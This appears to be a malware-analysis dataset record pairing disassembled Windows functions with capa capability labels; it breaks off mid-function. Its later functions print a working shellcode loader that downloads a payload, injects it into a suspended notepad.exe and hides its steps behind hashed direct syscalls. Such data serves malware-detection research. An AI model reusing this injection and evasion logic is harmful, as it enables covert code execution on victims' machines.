joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ff80
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [0x005c7350]
test rcx, rcx
jne 0x43ffa4
xor ecx, ecx
xor edx, edx
jmp 0x43ffb9
call fcn.00454340
mov rcx, rbx
mov rdx, rax
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], r14
mov rsi, qword [r14 + 0x30]
inc dword [rsi + 0xd8]
mov qword [r14 + 0x10], 0xfffffffffffffade
mov byte [r14 + 0xb7], 1
call fcn.0043ff20
mov rcx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x70], rcx
mov rdx, qword [rsp + 0x60]
mov qword [rax + 0x78], rdx
mov ebx, 2
mov ecx, 3
call fcn.00439840
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rcx + 0x70]
cmp qword [rcx], rdx
ja 0x440026
nop dword [rax + rax]
cmp qword [rcx + 8], rdx
jae 0x440062
movups xmmword [rsp + 0x40], xmm15
lea rax, [0x00440280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x40]
mov qword [rsp], rax
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x10]
test rax, rax
je 0x4400cb
movups xmmword [rsp + 0x28], xmm15
mov qword [rsp + 0x38], 0
lea rcx, [0x00440200]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp], rax
nop
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov al, byte [0x00543a38]
test al, al
je 0x44010b
lea rax, [0x004b0f30]
mov qword [rsp], rax
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
cmp dword [rax + 0x2298], 0
nop
je 0x440158
lea rax, fcn.0043b0c0
mov qword [rsp], rax
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
mov rdx, qword [rax + 0xa0]
mov edx, dword [rdx + 0x14]
mov dword [rax + 0x388], edx
mov rax, qword [rcx + 0x30]
mov rax, qword [rax + 0xa0]
mov qword [rax + 0x38], 0
mov rdx, qword [rcx + 0x30]
mov rbx, rax
mov qword [rdx + 0xb0], rax
mov rax, qword [rcx + 0x30]
mov qword [rax + 0xa0], 0
mov eax, 2
xchg dword [rbx + 4], eax
mov al, byte [0x00543a28]
test al, al
je 0x4401e4
lea rax, [0x004b0f28]
mov qword [rsp], rax
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
call fcn.0043ff20
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx + 0x30]
dec dword [rax + 0xd8]
add rsp, 0x50
pop rbp
ret
Function at 0x444e80
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x444fe7
push rbp
mov rbp, rsp
sub rsp, 0x18
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x444e92
cmp edx, ecx
jne 0x444fd5
nop word [rax + rax]
test rsi, rsi
jne 0x444fd5
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x444ef4
nop
call fcn.00464700
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00444da0
mov rcx, qword [rsp + 0x28]
mov edx, dword [rcx]
mov ebx, edx
sar edx, 0x1f
shr edx, 0x1b
add edx, ebx
mov esi, edx
and edx, 0xffffffe0
sub ebx, edx
test ebx, ebx
jl 0x444fd0
mov rdx, qword [0x005428a8]
sar esi, 5
mov rax, rcx
mov ecx, ebx
mov edi, 1
shl edi, cl
movsxd rsi, esi
cmp ecx, 0x20
sbb r8d, r8d
and edi, r8d
cmp rdx, rsi
jbe 0x444fc5
mov rcx, qword [0x005428a0]
lea rcx, [rcx + rsi*4]
lock or dword [rcx], edi
mov rcx, qword [0x00543990]
mov qword [rax + 8], rcx
mov rcx, rax
nop
mov qword [0x00543990], rax
nop
mov edx, 1
lea rsi, [0x00543998]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1248]
shr rdx, 0x3d
test dl, dl
jne 0x444fb3
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
nop
nop
xchg qword [rcx + 0x1248], rdx
add rsp, 0x18
pop rbp
ret
lea rax, [0x004add95]
mov ebx, 0x28
nop
call fcn.00434ec0
mov rax, rsi
mov rcx, rdx
call fcn.00462e00
call fcn.00433aa0
lea rax, [0x004ad101]
mov ebx, 0x23
call fcn.00434ec0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00444e80
Function at 0x448a40
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rcx, r14
test rcx, rcx
je 0x448a88
mov rcx, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x90]
nop dword [rax + rax]
test rcx, rcx
je 0x448a88
mov qword [rsp + 0x68], rcx
nop
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
jmp 0x448a98
mov eax, 1
add rsp, 0x70
pop rbp
ret
mov rax, qword [rsp + 0x60]
mov rcx, qword [sym.imp.kernel32.dll_RtlLookupFunctionEntry]
lea rdx, [rsp + 0x58]
mov rbx, qword [rax + 0xf8]
mov qword [rsp], rcx
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], 0
call fcn.004328c0
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
nop
test rax, rax
je 0x448b71
mov rcx, qword [rsp + 0x58]
mov rdx, qword [sym.imp.kernel32.dll_RtlVirtualUnwind]
mov rbx, qword [rsp + 0x60]
mov rsi, rbx
lea rdi, [rsp + 0x50]
mov r8, qword [rsi + 0xf8]
mov qword [rsp], rdx
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 0
call fcn.00432b40
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
cmp qword [rcx], rax
ja 0x448b71
cmp qword [rcx + 8], rax
ja 0x448a93
mov eax, 1
add rsp, 0x70
pop rbp
ret
Function at 0x450460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x4505d7
movzx edx, byte [rax]
test edx, edx
jne 0x450494
nop dword [rax]
test r8b, r8b
jne 0x450494
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x4504a7
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x450597
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x450585
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x450577
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x4504fd
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x450540
mov eax, 1
cmp rax, rbx
ja 0x45052b
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00462ec0
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x45056f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x450533
mov rcx, r11
mov eax, r12d
jmp 0x450502
mov rcx, rbx
call fcn.00462e00
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462e00
mov eax, r8d
mov rcx, rbx
call fcn.00462ec0
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x4505cd
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x450590
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x4504ad
mov eax, edx
mov rcx, rbx
call fcn.00462e00
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00462e00
nop
int3

Function at 0x4561a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x456255
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.00453e20
nop
test bl, bl
je 0x45624f
mov qword [rsp + 0x18], rax
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x004562a0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004561a0
Function at 0x4591c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45926f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x004592c0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00460a00
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.004591c0
Function at 0x462920
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4043e3
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.0040a180
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x4043c0
cmp byte [0x005c7388], 0
je 0x462935
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45fb60
jmp 0x4043c0

Function at 0x462940
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c7660]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c7388], 0
je 0x462975
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005c7980]
aesenc xmm0, xmmword [0x005c7990]
aesenc xmm0, xmmword [0x005c79a0]
movq rax, xmm0
ret
jmp 0x40a3a0

Function at 0x462980
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c7660]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c7388], 0
je 0x4629b6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005c7980]
aesenc xmm0, xmmword [0x005c7990]
aesenc xmm0, xmmword [0x005c79a0]
movq rax, xmm0
ret
jmp 0x40a400

Function at 0x464740
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x464774
mov rcx, 0x28
jmp 0x46477f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005c7590], rcx
pop rbp
ret
Function at 0x46db00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x46dbca
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403940
xorps xmm15, xmm15
mov r14, qword [0x005c7590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x46dbaf
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x00492d00]
xor ebx, ebx
mov rcx, rdx
call fcn.004495c0
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.0046de60
inc rbx
cmp rcx, rbx
jae 0x46db9e
mov edi, 1
lea rsi, [0x00492d00]
call fcn.004496a0
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004cab28]
lea rsi, [0x004ca4d8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0046db00
Function at 0x140001070
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r15d, r15d
mov r13, r8
mov r12, rdx
mov dword [rsp + 0x30], r15d
mov rsi, rcx
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.Mozilla
xor edx, edx
xor r9d, r9d
mov edi, r15d
mov ebx, r15d
mov r14d, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x1400010ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenW_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, r15d
jmp 0x140001262
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x2400
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x14000114c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetOpenUrlW_Failed_With_Error_:__d__n
call fcn.140001010
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
xor eax, eax
jmp 0x140001262
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001229
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001215
nop word [rax + rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x1400011a9
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400011bb
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001229
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x30], 0x400
jb 0x140001287
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001190
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____InternetReadFile_Failed_With_Error_:__d__n
call fcn.140001010
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x14000125f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140008f90
mov rbx, qword [rsp + 0x98]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x14000122c
Function at 0x1400012a0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov rcx, qword [rdx + 8]
lea r8, [rsp + 0x58]
xor edi, edi
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
call fcn.140001070
test eax, eax
jne 0x1400012e8
mov eax, 0xffffffff
jmp 0x14000146e
mov rdx, qword [rsp + 0x50]
lea rcx, str._i__Bytes_:_0x_p__n
call fcn.140001010
mov rdx, qword [rsp + 0x58]
lea rcx, str._i__Size__:__ld__n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x90]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80004
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001379
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Creating_notepad_as_dummy_process_failed_with_Error_Code:__d_n
call fcn.140001010
mov eax, 1
jmp 0x14000146e
mov r8, qword [rsp + 0x58]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x1400013c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Memory_allocation_failed_with_Error_Code:__d_n
call fcn.140001010
mov eax, 1
jmp 0x14000146e
mov r9, qword [rsp + 0x58]
mov rdx, rax
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdi
call fcn.140002540
test eax, eax
je 0x140001400
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Something_is_wrong_with_writing_sc_to_allocated_space_Error_Code:__d_n
call fcn.140001010
mov eax, 1
jmp 0x14000146e
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x80]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x60]
call fcn.140002ac0
test eax, eax
je 0x140001446
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Something_is_wrong_with_changing_protection_of_allocated_space_Error_Code:__d_n
call fcn.140001010
mov eax, 1
jmp 0x14000146e
mov rdx, qword [rsp + 0x60]
xor r9d, r9d
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call fcn.140002800
mov rcx, qword [rsp + 0x70]
xor edx, edx
call fcn.140002b40
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140008f90
add rsp, 0x110
pop rdi
ret
Function at 0x140001490
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
sub rsp, 0x10
cmp dword [0x14000c680], 0
jne 0x140001693
mov rax, qword gs:[0x60]
xor r15d, r15d
mov edx, r15d
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000169f
nop word [rax + rax]
mov r10, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x14000150d
lea rdx, [r10 + rcx]
mov ecx, dword [r10 + rcx + 0xc]
mov eax, dword [rcx + r10]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000150d
mov eax, dword [rcx + r10 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140001519
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x1400014d0
test rdx, rdx
je 0x14000169f
mov r11d, dword [rdx + 0x18]
mov qword [rsp + 0x20], rbx
mov ebx, r15d
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
mov esi, dword [rdx + 0x1c]
mov qword [rsp + 0x38], rdi
add rsi, r10
mov edi, dword [rdx + 0x20]
mov qword [rsp + 8], r12
add rdi, r10
mov qword [rsp], r14
add rbp, r10
mov r12d, 0x775a
lea r14, [0x14000c680]
nop word [rax + rax]
lea eax, [r11 - 1]
mov r9d, dword [rdi + rax*4]
add r9, r10
cmp word [r9], r12w
jne 0x1400015d4
mov edx, r15d
mov r8d, 0xf5fd07ce
mov rax, r9
nop dword [rax]
movzx eax, word [rax]
mov ecx, r8d
ror ecx, 8
inc edx
add ecx, eax
mov eax, edx
add rax, r9
xor r8d, ecx
cmp byte [rax], r15b
jne 0x140001590
mov edx, ebx
lea eax, [r11 - 1]
add rdx, rdx
inc ebx
mov dword [r14 + rdx*8 + 8], r8d
movzx eax, word [rbp + rax*2]
mov eax, dword [rsi + rax*4]
mov dword [r14 + rdx*8 + 0xc], eax
mov qword [r14 + rdx*8 + 0x10], r15
cmp ebx, 0x258
je 0x1400015da
add r11d, 0xffffffff
jne 0x140001570
mov r12, qword [rsp + 8]
lea eax, [rbx - 1]
mov rbp, qword [rsp + 0x28]
mov r11d, r15d
mov dword [0x14000c680], ebx
test eax, eax
je 0x140001680
nop dword [rax + rax]
mov ecx, ebx
mov eax, r15d
sub ecx, r11d
cmp ecx, 1
je 0x140001675
nop dword [rax]
lea r10d, [rax + 1]
mov r9d, eax
add r9, r9
mov r8d, r10d
add r8, r8
mov esi, dword [r14 + r9*8 + 0xc]
mov edi, dword [r14 + r8*8 + 0xc]
cmp esi, edi
jbe 0x140001666
mov eax, dword [r14 + r8*8 + 8]
mov edx, dword [r14 + r9*8 + 8]
mov rcx, qword [r14 + r9*8 + 0x10]
mov dword [r14 + r9*8 + 8], eax
mov rax, qword [r14 + r8*8 + 0x10]
mov qword [r14 + r9*8 + 0x10], rax
mov dword [r14 + r9*8 + 0xc], edi
mov dword [r14 + r8*8 + 8], edx
mov dword [r14 + r8*8 + 0xc], esi
mov qword [r14 + r8*8 + 0x10], rcx
mov ebx, dword [0x14000c680]
mov ecx, ebx
mov eax, r10d
sub ecx, r11d
dec ecx
cmp r10d, ecx
jb 0x140001610
inc r11d
lea eax, [rbx - 1]
cmp r11d, eax
jb 0x140001600
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp]
mov eax, 1
add rsp, 0x10
pop r15
ret
xor eax, eax
add rsp, 0x10
pop r15
ret
Function at 0x140002540
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x199110e1
call fcn.1400016b0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140002800
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8e955027
call fcn.1400016b0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140002ac0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xc840d8da
call fcn.1400016b0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140002b40
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
